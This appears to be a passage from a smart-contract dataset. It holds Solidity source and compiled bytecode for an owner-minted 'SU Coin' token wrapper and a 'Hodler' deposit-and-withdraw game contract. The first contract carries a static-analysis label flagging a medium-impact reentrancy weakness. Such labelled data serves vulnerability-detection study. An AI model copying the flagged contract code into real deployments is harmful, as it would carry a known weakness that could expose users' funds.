Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract SUCoin is MintableToken { string public constant name = "SU Coin"; string public constant symbol = "SUCoin"; uint32 public constant decimals = 18; } contract SUTokenContract is Ownable { using SafeMath for uint; SUCoin public token = new SUCoin(); bool ifInit = false; uint public tokenDec = 1000000000000000000; //18 address manager; //uint public lastPeriod; mapping (address => mapping (uint => bool)) idMap; //mapping (address => mapping (bytes32 => bool)) hashMap; //mapping(uint => bool) idMap; mapping(bytes32 => bool) hashMap; mapping (uint => uint) mintInPeriod; uint public mintLimit = tokenDec.mul(10000); uint public period = 30 * 1 days; // 30 дней uint public startTime = now; function SUTokenContract(){ owner = msg.sender; manager = msg.sender; } function initMinting() onlyOwner returns (bool) { require(!ifInit); require(token.mint(0x8f89FE2362C769B472F0e9496F5Ca86850BeE8D4, tokenDec.mul(50000))); require(token.mint(address(this), tokenDec.mul(50000))); ifInit = true; return true; } // Данная функция на тестовый период. Позволяет передать токен на новый контракт function transferTokenOwnership(address _newOwner) onlyOwner { token.transferOwnership(_newOwner); } function mint(address _to, uint _value) onlyOwner { uint currPeriod = now.sub(startTime).div(period); require(mintLimit>= _value.add(mintInPeriod[currPeriod])); require(token.mint(_to, _value)); mintInPeriod[currPeriod] = mintInPeriod[currPeriod].add(_value); } function burn(uint256 _value) onlyOwner { token.burn(_value); } function tokenTotalSupply() constant returns (uint256) { return token.totalSupply(); } //Баланс токенов на данном контракте function tokenContractBalance() constant returns (uint256) { return token.balanceOf(address(this)); } function tokentBalance(address _address) constant returns (uint256) { return token.balanceOf(_address); } function transferToken(address _to, uint _value) onlyOwner returns (bool) { return token.transfer(_to, _value); } function allowance( address _spender) constant returns (uint256 remaining) { return token.allowance(address(this),_spender); } function allowanceAdd( address _spender, uint _value ) onlyOwner returns (bool) { uint currAllowance = allowance( _spender); require(token.approve( _spender, 0)); require(token.approve( _spender, currAllowance.add(_value))); return true; } function allowanceSub( address _spender, uint _value ) onlyOwner returns (bool) { uint currAllowance = allowance( _spender); require(currAllowance>=_value); require(token.approve( _spender, 0)); require(token.approve( _spender, currAllowance.sub(_value))); return true; } function allowanceSubId( address _spender, uint _value, uint _id) onlyOwner returns (bool) { uint currAllowance = allowance( _spender); require(currAllowance>=_value); require(token.approve( _spender, 0)); require(token.approve( _spender, currAllowance.sub(_value))); idMap[_spender][_id] = true; return true; } function storeId(address _address, uint _id) onlyOwner { idMap[_address][_id] = true; } function storeHash(bytes32 _hash) onlyOwner { hashMap[_hash] = true; } function idVerification(address _address, uint _id) constant returns (bool) { return idMap[_address][_id]; } function hashVerification(bytes32 _hash) constant returns (bool) { return hashMap[_hash]; } function mintInPeriodCount(uint _period) constant returns (uint) { return mintInPeriod[_period]; } function mintInCurrPeriodCount() constant returns (uint) { uint currPeriod = now.sub(startTime).div(period); return mintInPeriod[currPeriod]; } }
0x60606040526004361061012e5763ffffffff60e060020a600035041662dee43f81146101335780631072cbea1461015a57806319e5d0cb1461017c57806321e6b53d146101a45780633e5beab9146101c557806340c10f19146101e457806342966c681461020657806370387c591461021c578063767000c01461023257806378e97925146102545780637b6c0492146102675780637fe888851461028c5780638da5cb5b146102a257806394ae7ac3146102d157806395b4b88d146102f3578063996517cf14610315578063ae5adac714610328578063ae7ba09a1461033b578063c14925991461035a578063dd791ce51461037c578063e44035071461038f578063ef78d4fd146103a2578063f2fde38b146103b5578063f7abab9e146103d4578063fc0c546a146103e7575b600080fd5b341561013e57600080fd5b6101466103fa565b604051901515815260200160405180910390f35b341561016557600080fd5b610146600160a060020a03600435166024356105ad565b341561018757600080fd5b61019260043561063c565b60405190815260200160405180910390f35b34156101af57600080fd5b6101c3600160a060020a036004351661064e565b005b34156101d057600080fd5b610192600160a060020a03600435166106cc565b34156101ef57600080fd5b6101c3600160a060020a0360043516602435610743565b341561021157600080fd5b6101c3600435610862565b341561022757600080fd5b6101466004356108c5565b341561023d57600080fd5b6101c3600160a060020a03600435166024356108da565b341561025f57600080fd5b610192610925565b341561027257600080fd5b610146600160a060020a036004351660243560443561092b565b341561029757600080fd5b6101c3600435610a9c565b34156102ad57600080fd5b6102b5610ad2565b604051600160a060020a03909116815260200160405180910390f35b34156102dc57600080fd5b610146600160a060020a0360043516602435610ae1565b34156102fe57600080fd5b610146600160a060020a0360043516602435610c15565b341561032057600080fd5b610192610ce6565b341561033357600080fd5b610192610cec565b341561034657600080fd5b610192600160a060020a0360043516610d1f565b341561036557600080fd5b610146600160a060020a0360043516602435610d72565b341561038757600080fd5b610192610d9d565b341561039a57600080fd5b610192610da3565b34156103ad57600080fd5b610192610e11565b34156103c057600080fd5b6101c3600160a060020a0360043516610e17565b34156103df57600080fd5b610192610e76565b34156103f257600080fd5b6102b5610eb8565b6000805433600160a060020a0390811691161461041657600080fd5b60015474010000000000000000000000000000000000000000900460ff161561043e57600080fd5b600154600254600160a060020a03909116906340c10f1990738f89fe2362c769b472f0e9496f5ca86850bee8d49061047e9061c35063ffffffff610ec716565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156104c157600080fd5b5af115156104ce57600080fd5b5050506040518051905015156104e357600080fd5b600154600254600160a060020a03909116906340c10f1990309061050f9061c35063ffffffff610ec716565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561055257600080fd5b5af1151561055f57600080fd5b50505060405180519050151561057457600080fd5b506001805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017815590565b6000805433600160a060020a039081169116146105c957600080fd5b600154600160a060020a031663a9059cbb848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561061f57600080fd5b5af1151561062c57600080fd5b5050506040518051949350505050565b60009081526006602052604090205490565b60005433600160a060020a0390811691161461066957600080fd5b600154600160a060020a031663f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156106b957600080fd5b5af115156106c657600080fd5b50505050565b600154600090600160a060020a031663dd62ed3e308460405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b151561072757600080fd5b5af1151561073457600080fd5b50505060405180519392505050565b6000805433600160a060020a0390811691161461075f57600080fd5b61078660085461077a60095442610ef290919063ffffffff16565b9063ffffffff610f0416565b6000818152600660205260409020549091506107a990839063ffffffff610f1b16565b60075410156107b757600080fd5b600154600160a060020a03166340c10f19848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561080d57600080fd5b5af1151561081a57600080fd5b50505060405180519050151561082f57600080fd5b60008181526006602052604090205461084e908363ffffffff610f1b16565b600091825260066020526040909120555050565b60005433600160a060020a0390811691161461087d57600080fd5b600154600160a060020a03166342966c688260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156106b957600080fd5b60009081526005602052604090205460ff1690565b60005433600160a060020a039081169116146108f557600080fd5b600160a060020a03909116600090815260046020908152604080832093835292905220805460ff19166001179055565b60095481565b60008054819033600160a060020a0390811691161461094957600080fd5b610952856106cc565b90508381101561096157600080fd5b600154600160a060020a031663095ea7b386600060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156109b857600080fd5b5af115156109c557600080fd5b5050506040518051905015156109da57600080fd5b600154600160a060020a031663095ea7b3866109fc848863ffffffff610ef216565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a3f57600080fd5b5af11515610a4c57600080fd5b505050604051805190501515610a6157600080fd5b600160a060020a03851660009081526004602090815260408083208684529091529020805460ff191660019081179091559150509392505050565b60005433600160a060020a03908116911614610ab757600080fd5b6000908152600560205260409020805460ff19166001179055565b600054600160a060020a031681565b60008054819033600160a060020a03908116911614610aff57600080fd5b610b08846106cc565b600154909150600160a060020a031663095ea7b385600060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610b6257600080fd5b5af11515610b6f57600080fd5b505050604051805190501515610b8457600080fd5b600154600160a060020a031663095ea7b385610ba6848763ffffffff610f1b16565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610be957600080fd5b5af11515610bf657600080fd5b505050604051805190501515610c0b57600080fd5b5060019392505050565b60008054819033600160a060020a03908116911614610c3357600080fd5b610c3c846106cc565b905082811015610c4b57600080fd5b600154600160a060020a031663095ea7b385600060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ca257600080fd5b5af11515610caf57600080fd5b505050604051805190501515610cc457600080fd5b600154600160a060020a031663095ea7b385610ba6848763ffffffff610ef216565b60075481565b600080610d0a60085461077a60095442610ef290919063ffffffff16565b60009081526006602052604090205492915050565b600154600090600160a060020a03166370a082318360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561072757600080fd5b600160a060020a03919091166000908152600460209081526040808320938352929052205460ff1690565b60025481565b600154600090600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610df657600080fd5b5af11515610e0357600080fd5b505050604051805191505090565b60085481565b60005433600160a060020a03908116911614610e3257600080fd5b600160a060020a0381161515610e4757600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600090600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610df657600080fd5b600154600160a060020a031681565b6000828202831580610ee35750828482811515610ee057fe5b04145b1515610eeb57fe5b9392505050565b600082821115610efe57fe5b50900390565b6000808284811515610f1257fe5b04949350505050565b600082820183811015610eeb57fe00a165627a7a723058205a8f7c7b3b3c7851e416fb78535726a380c10b0d0a1f37604e8916191fca20350029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,577
0xdd3796d089193e2bef96c5909d1d48353b017c98
// SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.11; library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function div(uint x, uint y) internal pure returns (uint z) { require(y > 0); z = x / y; } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; //rounds to zero if x*y < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < RAY / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); /* Remove tranfer functionality for hodler token function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); */ } contract HodlerERC20 is IERC20 { using SafeMath for uint; string public override name; string public override symbol; uint8 public override decimals; uint public override totalSupply; uint public totalWithdraw; mapping(address => uint) public override balanceOf; //mapping(address => mapping(address => uint)) public override allowance; function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _burnCurve(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalWithdraw = totalWithdraw.add(value); emit Transfer(from, address(0), value); } /* Remove tranfer functionality for hodler token function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external override returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external override returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external override returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } */ } contract Hodler is HodlerERC20{ using SafeMath for uint256; bool public initialized; address public asset; uint256 public start_amount; uint256 public min_percent; uint256 public max_percent; bool public started; uint256 public start_time; bool public ended; mapping(address => uint256) public end_time; event Deposit(address indexed from, uint256 amount); event Withdraw(address indexed from, uint256 asset_value, uint256 token_value, bool started); uint256 private unlocked = 1; modifier lock() { require(unlocked == 1, 'Hodler: LOCKED'); unlocked = 0; _; unlocked = 1; } function initialize(address _asset, uint256 _amount, uint256 _min, uint256 _max) public { require(initialized == false, "Hodler_initialize: already initialized"); initialized = true; asset = _asset; start_amount = _amount; min_percent = _min; max_percent = _max; string memory _name = IERC20(asset).name(); name = append("Hodler ", _name); string memory _symbol = IERC20(asset).symbol(); symbol = append("hodl", _symbol); decimals = IERC20(asset).decimals(); } function deposit(uint256 amount) public lock { require(amount > 0, "Hodler_Deposit: zero asset deposit"); require(ended == false, "Hodler_Deposit: game ended"); require(started == false, "Hodler_Deposit: game started"); if (totalSupply.add(amount) >= start_amount) { require(totalSupply.add(amount) < start_amount.mul(2), "Hodler_Deposit: final deposit out of range"); started = true; start_time = block.timestamp; } TransferHelper.safeTransferFrom(asset, msg.sender, address(this), amount); _mint(msg.sender, amount); Deposit(msg.sender, amount); } function withdraw(uint256 token_amount) public lock { require(token_amount > 0, "Hodler_withdraw: zero token withdraw"); require(ended == false, "Hodler_withdraw: game ended"); uint256 asset_withdraw; if (started != true) { asset_withdraw = token_amount; _burn(msg.sender, token_amount); } else { asset_withdraw = calculateAssetOut(token_amount); if (totalWithdraw.add(token_amount) == totalSupply) { ended = true; } require(asset_withdraw > 0, "Hodler_withdraw: zero asset withdraw"); _burnCurve(msg.sender, token_amount); if (balanceOf[msg.sender] == 0) {end_time[msg.sender] = block.timestamp;} } TransferHelper.safeTransfer(asset, msg.sender, asset_withdraw); Withdraw(msg.sender, asset_withdraw, token_amount, started); } function calculateAssetOut(uint256 token_amount) public view returns (uint256) { uint256 rounding = totalSupply; /* 1. Calc perc_assets_out_new = 40 * totalWithdraw/totalSupply + 80 -> At min this is 40 * 0 + 80 = 80% -> At max this is 40 * 1 + 80 = 120% */ uint256 difference = max_percent.sub(min_percent); uint256 perc_assets_out_old = difference.mul(rounding).mul(totalWithdraw).div(totalSupply).add(min_percent.mul(rounding)); uint256 new_totalWithdraw = totalWithdraw.add(token_amount); uint256 perc_assets_out_new = difference.mul(rounding).mul(new_totalWithdraw).div(totalSupply).add(min_percent.mul(rounding)); /* 2. Calc mean percent difference -> perc_new - perc_old / 2 + perc_old -> at 120 perc_new and 100 perc_old = (120 - 100) / 2 + 100 = 110% -> at 100 perc_new and 80 perc_old = (100 - 80) / 2 + 80 = 90% */ uint256 mean_perc = (perc_assets_out_new.sub(perc_assets_out_old)).div(2).add(perc_assets_out_old); /* 3. Calc assets out -> token_amount * mean_perc_diff / 100 -> at mean_perc_diff 110% = 110 * token_amount / 100 */ uint256 assets_out = mean_perc.mul(token_amount).div(rounding.mul(100)); if (new_totalWithdraw == totalSupply) { IERC20 weth = IERC20(asset); assets_out = weth.balanceOf(address(this)); } return assets_out; } function append(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063431b0a5a116100ad578063834ee41711610071578063834ee4171461045957806387fba5221461047757806395d89b41146104955780639ff9c96f14610518578063b6b55f251461053657610121565b8063431b0a5a146102e7578063455fd6231461033f5780634ab49c1e1461035d5780634ec81af11461039f57806370a082311461040157610121565b8063196667e4116100f4578063196667e41461020b5780631f2698ab146102295780632e1a7d4d1461024b578063313ce5671461027957806338d52e0f1461029d57610121565b806306fdde031461012657806312fa6feb146101a9578063158ef93e146101cb57806318160ddd146101ed575b600080fd5b61012e610564565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b1610602565b604051808215151515815260200191505060405180910390f35b6101d3610615565b604051808215151515815260200191505060405180910390f35b6101f5610628565b6040518082815260200191505060405180910390f35b61021361062e565b6040518082815260200191505060405180910390f35b610231610634565b604051808215151515815260200191505060405180910390f35b6102776004803603602081101561026157600080fd5b8101908080359060200190929190505050610647565b005b6102816109b8565b604051808260ff1660ff16815260200191505060405180910390f35b6102a56109cb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610329600480360360208110156102fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f1565b6040518082815260200191505060405180910390f35b610347610a09565b6040518082815260200191505060405180910390f35b6103896004803603602081101561037357600080fd5b8101908080359060200190929190505050610a0f565b6040518082815260200191505060405180910390f35b6103ff600480360360808110156103b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050610c87565b005b6104436004803603602081101561041757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061119d565b6040518082815260200191505060405180910390f35b6104616111b5565b6040518082815260200191505060405180910390f35b61047f6111bb565b6040518082815260200191505060405180910390f35b61049d6111c1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dd5780820151818401526020810190506104c2565b50505050905090810190601f16801561050a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61052061125f565b6040518082815260200191505060405180910390f35b6105626004803603602081101561054c57600080fd5b8101908080359060200190929190505050611265565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105fa5780601f106105cf576101008083540402835291602001916105fa565b820191906000526020600020905b8154815290600101906020018083116105dd57829003601f168201915b505050505081565b600c60009054906101000a900460ff1681565b600660009054906101000a900460ff1681565b60035481565b60075481565b600a60009054906101000a900460ff1681565b6001600e54146106bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f486f646c65723a204c4f434b454400000000000000000000000000000000000081525060200191505060405180910390fd5b6000600e8190555060008111610720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061205b6024913960400191505060405180910390fd5b60001515600c60009054906101000a900460ff161515146107a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f486f646c65725f77697468647261773a2067616d6520656e646564000000000081525060200191505060405180910390fd5b600060011515600a60009054906101000a900460ff161515146107d8578190506107d333836115a2565b61090e565b6107e182610a0f565b90506003546107fb836004546116bc90919063ffffffff16565b141561081d576001600c60006101000a81548160ff0219169083151502179055505b60008111610876576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120066024913960400191505060405180910390fd5b610880338361173f565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561090d5742600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b61093b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383611859565b3373ffffffffffffffffffffffffffffffffffffffff167fb97e775637eca8401af330efee0810af7079bafae27761741e09caa14db8d2728284600a60009054906101000a900460ff166040518084815260200183815260200182151515158152602001935050505060405180910390a2506001600e8190555050565b600260009054906101000a900460ff1681565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915090505481565b60045481565b60008060035490506000610a30600854600954611a3590919063ffffffff16565b90506000610a95610a4c84600854611ab890919063ffffffff16565b610a87600354610a79600454610a6b8989611ab890919063ffffffff16565b611ab890919063ffffffff16565b611b4d90919063ffffffff16565b6116bc90919063ffffffff16565b90506000610aae866004546116bc90919063ffffffff16565b90506000610b11610aca86600854611ab890919063ffffffff16565b610b03600354610af586610ae78b8b611ab890919063ffffffff16565b611ab890919063ffffffff16565b611b4d90919063ffffffff16565b6116bc90919063ffffffff16565b90506000610b4d84610b3f6002610b318887611a3590919063ffffffff16565b611b4d90919063ffffffff16565b6116bc90919063ffffffff16565b90506000610b89610b68606489611ab890919063ffffffff16565b610b7b8b85611ab890919063ffffffff16565b611b4d90919063ffffffff16565b9050600354841415610c78576000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c3957600080fd5b505afa158015610c4d573d6000803e3d6000fd5b505050506040513d6020811015610c6357600080fd5b81019080805190602001909291905050509150505b80975050505050505050919050565b60001515600660009054906101000a900460ff16151514610cf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061207f6026913960400191505060405180910390fd5b6001600660006101000a81548160ff02191690831515021790555083600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260078190555081600881905550806009819055506060600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015610dce57600080fd5b505afa158015610de2573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610e0c57600080fd5b8101908080516040519392919084640100000000821115610e2c57600080fd5b83820191506020820185811115610e4257600080fd5b8251866001820283011164010000000082111715610e5f57600080fd5b8083526020830192505050908051906020019080838360005b83811015610e93578082015181840152602081019050610e78565b50505050905090810190601f168015610ec05780820380516001836020036101000a031916815260200191505b506040525050509050610f086040518060400160405280600781526020017f486f646c6572200000000000000000000000000000000000000000000000000081525082611b6d565b60009080519060200190610f1d929190611f60565b506060600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015610f8857600080fd5b505afa158015610f9c573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610fc657600080fd5b8101908080516040519392919084640100000000821115610fe657600080fd5b83820191506020820185811115610ffc57600080fd5b825186600182028301116401000000008211171561101957600080fd5b8083526020830192505050908051906020019080838360005b8381101561104d578082015181840152602081019050611032565b50505050905090810190601f16801561107a5780820380516001836020036101000a031916815260200191505b5060405250505090506110c26040518060400160405280600481526020017f686f646c0000000000000000000000000000000000000000000000000000000081525082611b6d565b600190805190602001906110d7929190611f60565b50600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561114057600080fd5b505afa158015611154573d6000803e3d6000fd5b505050506040513d602081101561116a57600080fd5b8101908080519060200190929190505050600260006101000a81548160ff021916908360ff160217905550505050505050565b60056020528060005260406000206000915090505481565b600b5481565b60085481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112575780601f1061122c57610100808354040283529160200191611257565b820191906000526020600020905b81548152906001019060200180831161123a57829003601f168201915b505050505081565b60095481565b6001600e54146112dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f486f646c65723a204c4f434b454400000000000000000000000000000000000081525060200191505060405180910390fd5b6000600e819055506000811161133e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806120a56022913960400191505060405180910390fd5b60001515600c60009054906101000a900460ff161515146113c7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f486f646c65725f4465706f7369743a2067616d6520656e64656400000000000081525060200191505060405180910390fd5b60001515600a60009054906101000a900460ff16151514611450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f486f646c65725f4465706f7369743a2067616d6520737461727465640000000081525060200191505060405180910390fd5b600754611468826003546116bc90919063ffffffff16565b10611511576114836002600754611ab890919063ffffffff16565b611498826003546116bc90919063ffffffff16565b106114ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806120c7602a913960400191505060405180910390fd5b6001600a60006101000a81548160ff02191690831515021790555042600b819055505b61153f600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16333084611c35565b6115493382611e46565b3373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c826040518082815260200191505060405180910390a26001600e8190555050565b6115f481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164c81600354611a3590919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fdd